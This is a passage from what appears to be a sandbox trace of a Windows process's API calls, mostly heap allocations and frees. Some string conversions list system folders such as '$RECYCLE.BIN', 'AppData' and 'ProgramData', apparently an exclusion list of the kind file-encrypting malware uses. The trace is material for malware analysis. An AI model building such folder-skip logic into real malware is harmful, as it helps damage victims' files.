Flags=0x0, BaseAddress=0xf7d2c8) returned 1 [0033.847] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d5e8) returned 1 [0033.847] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x2800) returned 0xf82850 [0033.847] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c288 [0033.847] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c288) returned 1 [0033.847] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c288 [0033.847] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x10) returned 0xf7d5e8 [0033.847] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d2c8 [0033.847] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c1f8 [0033.847] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c288) returned 1 [0033.847] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c288 [0033.847] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d2d8 [0033.847] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c1b0 [0033.847] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c288) returned 1 [0033.847] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c288 [0033.847] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d298 [0033.847] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c168 [0033.847] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c288) returned 1 [0033.847] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c288 [0033.847] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d288 [0033.847] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.847] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c288) returned 1 [0033.847] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c288 [0033.847] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x20) returned 0xf7bc08 [0033.847] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d5e8) returned 1 [0033.847] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d278 [0033.847] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c240 [0033.847] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c288) returned 1 [0033.847] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c288 [0033.847] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d268 [0033.847] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.847] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c288) returned 1 [0033.847] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d258 [0033.847] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c288 [0033.847] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x20) returned 0xf85058 [0033.848] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d248 [0033.848] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c5e8 [0033.848] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d238 [0033.848] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c630 [0033.848] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d228 [0033.848] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c678 [0033.848] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d218 [0033.848] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c6c0 [0033.848] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d208 [0033.848] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c708 [0033.848] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d1e8 [0033.848] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c750 [0033.848] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d1f8 [0033.848] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c798 [0033.848] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c1f8) returned 1 [0033.848] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d2c8) returned 1 [0033.848] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c1b0) returned 1 [0033.848] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d2d8) returned 1 [0033.848] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c168) returned 1 [0033.848] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d298) returned 1 [0033.848] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.848] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d288) returned 1 [0033.848] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c240) returned 1 [0033.848] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d278) returned 1 [0033.848] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.848] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d268) returned 1 [0033.848] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c288) returned 1 [0033.848] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d258) returned 1 [0033.848] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bc08) returned 1 [0033.848] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c288 [0033.848] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c288) returned 1 [0033.848] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c288 [0033.848] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c288) returned 1 [0033.848] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c288 [0033.848] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c288) returned 1 [0033.848] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c288 [0033.848] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c288) returned 1 [0033.848] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c288 [0033.848] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c288) returned 1 [0033.848] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c288 [0033.848] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c288) returned 1 [0033.848] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c288 [0033.848] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c288) returned 1 [0033.849] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x10) returned 0xf7d5e8 [0033.849] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d258 [0033.849] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c288 [0033.849] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d268 [0033.849] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.849] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d278 [0033.849] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c240 [0033.849] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d288 [0033.849] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.849] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x20) returned 0xf7bc08 [0033.849] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d5e8) returned 1 [0033.849] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d298 [0033.849] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c168 [0033.849] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d2d8 [0033.849] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c1b0 [0033.849] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d2c8 [0033.849] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c1f8 [0033.849] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c5e8) returned 1 [0033.849] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d248) returned 1 [0033.849] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c630) returned 1 [0033.849] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d238) returned 1 [0033.849] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c678) returned 1 [0033.849] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d228) returned 1 [0033.849] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c6c0) returned 1 [0033.849] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d218) returned 1 [0033.849] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c708) returned 1 [0033.849] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d208) returned 1 [0033.849] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c750) returned 1 [0033.849] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d1e8) returned 1 [0033.849] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c798) returned 1 [0033.849] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d1f8) returned 1 [0033.849] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf85058) returned 1 [0033.849] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x20) returned 0xf85058 [0033.849] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d1f8 [0033.849] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c798 [0033.849] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d1e8 [0033.849] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c750 [0033.850] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d208 [0033.850] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c708 [0033.850] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d218 [0033.850] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c6c0 [0033.850] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d228 [0033.850] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c678 [0033.850] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d238 [0033.850] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c630 [0033.850] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d248 [0033.850] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c5e8 [0033.850] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c288) returned 1 [0033.850] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d258) returned 1 [0033.850] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.850] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d268) returned 1 [0033.850] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c240) returned 1 [0033.850] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d278) returned 1 [0033.850] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.850] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d288) returned 1 [0033.850] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c168) returned 1 [0033.850] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d298) returned 1 [0033.850] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c1b0) returned 1 [0033.850] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d2d8) returned 1 [0033.850] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c1f8) returned 1 [0033.850] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d2c8) returned 1 [0033.850] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bc08) returned 1 [0033.850] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x20) returned 0xf7bc08 [0033.850] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d2c8 [0033.850] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c1f8 [0033.850] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d2d8 [0033.850] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c1b0 [0033.850] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d298 [0033.850] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c168 [0033.851] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d288 [0033.851] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c120 [0033.851] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d278 [0033.851] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c240 [0033.851] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d268 [0033.851] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.851] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d258 [0033.851] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c288 [0033.851] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c798) returned 1 [0033.851] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d1f8) returned 1 [0033.851] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c750) returned 1 [0033.851] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d1e8) returned 1 [0033.851] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c708) returned 1 [0033.851] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d208) returned 1 [0033.851] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c6c0) returned 1 [0033.851] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d218) returned 1 [0033.851] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c678) returned 1 [0033.851] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d228) returned 1 [0033.851] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c630) returned 1 [0033.851] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d238) returned 1 [0033.851] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c5e8) returned 1 [0033.851] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d248) returned 1 [0033.851] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf85058) returned 1 [0033.851] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf82850) returned 1 [0033.851] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf7c1f8, cbMultiByte=25, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0033.851] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7dae0 [0033.851] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf7c1f8, cbMultiByte=25, lpWideCharStr=0xf7dae0, cchWideChar=25 | out: lpWideCharStr="System Volume Information") returned 25 [0033.851] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7db68 [0033.851] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7dae0) returned 1 [0033.851] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x10) returned 0xf7d5e8 [0033.851] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d248 [0033.851] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7dae0 [0033.851] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7db68) returned 1 [0033.851] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf7c1b0, cbMultiByte=12, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0033.851] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7db68 [0033.851] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf7c1b0, cbMultiByte=12, lpWideCharStr=0xf7db68, cchWideChar=12 | out: lpWideCharStr="$RECYCLE.BIN") returned 12 [0033.851] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7dbf0 [0033.851] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7db68) returned 1 [0033.851] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d238 [0033.851] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7db68 [0033.851] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7dbf0) returned 1 [0033.852] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf7c168, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0033.852] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7dbf0 [0033.852] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf7c168, cbMultiByte=8, lpWideCharStr=0xf7dbf0, cchWideChar=8 | out: lpWideCharStr="WebCache") returned 8 [0033.852] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7dc78 [0033.852] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7dbf0) returned 1 [0033.852] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d228 [0033.852] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7dbf0 [0033.852] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7dc78) returned 1 [0033.852] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf7c120, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0033.852] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7dc78 [0033.852] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf7c120, cbMultiByte=6, lpWideCharStr=0xf7dc78, cchWideChar=6 | out: lpWideCharStr="Caches") returned 6 [0033.852] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7dd00 [0033.852] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7dc78) returned 1 [0033.852] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d218 [0033.852] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7dc78 [0033.852] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7dd00) returned 1 [0033.852] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf7c240, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0033.852] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7dd00 [0033.852] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf7c240, cbMultiByte=11, lpWideCharStr=0xf7dd00, cchWideChar=11 | out: lpWideCharStr="WindowsApps") returned 11 [0033.852] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7dd88 [0033.852] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7dd00) returned 1 [0033.852] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x20) returned 0xf7dd00 [0033.852] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d5e8) returned 1 [0033.852] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d208 [0033.852] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7de28 [0033.852] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7dd88) returned 1 [0033.852] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf7c0d8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0033.852] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7deb0 [0033.852] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf7c0d8, cbMultiByte=7, lpWideCharStr=0xf7deb0, cchWideChar=7 | out: lpWideCharStr="AppData") returned 7 [0033.852] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7df38 [0033.852] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7deb0) returned 1 [0033.852] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d1e8 [0033.852] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7deb0 [0033.852] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7df38) returned 1 [0033.852] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf7c288, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0033.852] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7df38 [0033.852] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xf7c288, cbMultiByte=11, lpWideCharStr=0xf7df38, cchWideChar=11 | out: lpWideCharStr="ProgramData") returned 11 [0033.852] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7dfc0 [0033.852] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7df38) returned 1 [0033.853] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d1f8 [0033.853] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7df38 [0033.853] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7dfc0) returned 1 [0033.853] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c1f8) returned 1 [0033.853] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d2c8) returned 1 [0033.853] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c1b0) returned 1 [0033.853] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d2d8) returned 1 [0033.853] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c168) returned 1 [0033.853] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d298) returned 1 [0033.853] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c120) returned 1 [0033.853] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d288) returned 1 [0033.853] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c240) returned 1 [0033.853] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d278) returned 1 [0033.853] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.853] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d268) returned 1 [0033.853] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c288) returned 1 [0033.853] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d258) returned 1 [0033.853] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7bc08) returned 1 [0033.853] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x2800) returned 0xf82850 [0033.853] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c288 [0033.853] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c288) returned 1 [0033.853] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x10) returned 0xf7d5e8 [0033.853] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x8) returned 0xf7d258 [0033.853] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c288 [0033.853] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0xf7c0d8 [0033.853] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c0d8) returned 1 [0033.853] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7c288) returned 